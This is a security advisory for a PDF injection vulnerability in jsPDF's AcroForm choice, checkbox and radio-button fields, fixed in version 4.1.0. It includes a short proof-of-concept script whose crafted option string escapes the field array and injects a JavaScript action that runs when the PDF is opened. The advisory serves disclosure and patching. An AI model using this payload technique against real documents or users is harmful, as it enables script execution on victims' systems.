GHSA-pqxr-3g65-p328

Suggest an improvement
Source
https://github.com/advisories/GHSA-pqxr-3g65-p328
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/02/GHSA-pqxr-3g65-p328/GHSA-pqxr-3g65-p328.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-pqxr-3g65-p328
Aliases
Downstream
CGA (100)
Published
2026-02-02T18:29:49Z
Modified
2026-09-10T03:50:59Z
Severity
  • 8.1 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N CVSS Calculator
Summary
jsPDF has PDF Injection in AcroFormChoiceField that allows Arbitrary JavaScript Execution
Details

Impact

User control of properties and methods of the Acroform module allows users to inject arbitrary PDF objects, such as JavaScript actions.

If given the possibility to pass unsanitized input to one of the following methods or properties, a user can inject arbitrary PDF objects, such as JavaScript actions, which are executed when the victim opens the document. The vulnerable API members are:

  • AcroformChoiceField.addOption
  • AcroformChoiceField.setOptions
  • AcroFormCheckBox.appearanceState
  • AcroFormRadioButton.appearanceState

Example attack vector:

import { jsPDF } from "jspdf"
const doc = new jsPDF();

var choiceField = new doc.AcroFormChoiceField();
choiceField.T = "VulnerableField";
choiceField.x = 20;
choiceField.y = 20;
choiceField.width = 100;
choiceField.height = 20;

// PAYLOAD:
// 1. Starts with "/" to bypass escaping.
// 2. "dummy]" closes the array.
// 3. "/AA" injects an Additional Action (Focus event).
// 4. "/JS" executes arbitrary JavaScript.
const payload = "/dummy] /AA << /Fo << /S /JavaScript /JS (app.alert('XSS')) >> >> /Garbage [";

choiceField.addOption(payload);
doc.addField(choiceField);

doc.save("test.pdf");

Patches

The vulnerability has been fixed in jsPDF@4.1.0.

Workarounds

Sanitize user input before passing it to the vulnerable API members.

Credits

Research and fix: Ahmet Artuç

Database specific
{
    "cwe_ids":  [
        "CWE-116"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2026-02-02T18:29:49Z",
    "nvd_published_at":  "2026-02-02T23:16:08Z",
    "severity":  "HIGH"
}
References

Affected packages

npm / jspdf

Package

Affected ranges

Type
SEMVER
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
4.1.0

Database specific

last_known_affected_version_range
"<= 4.0.0"
source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/02/GHSA-pqxr-3g65-p328/GHSA-pqxr-3g65-p328.json"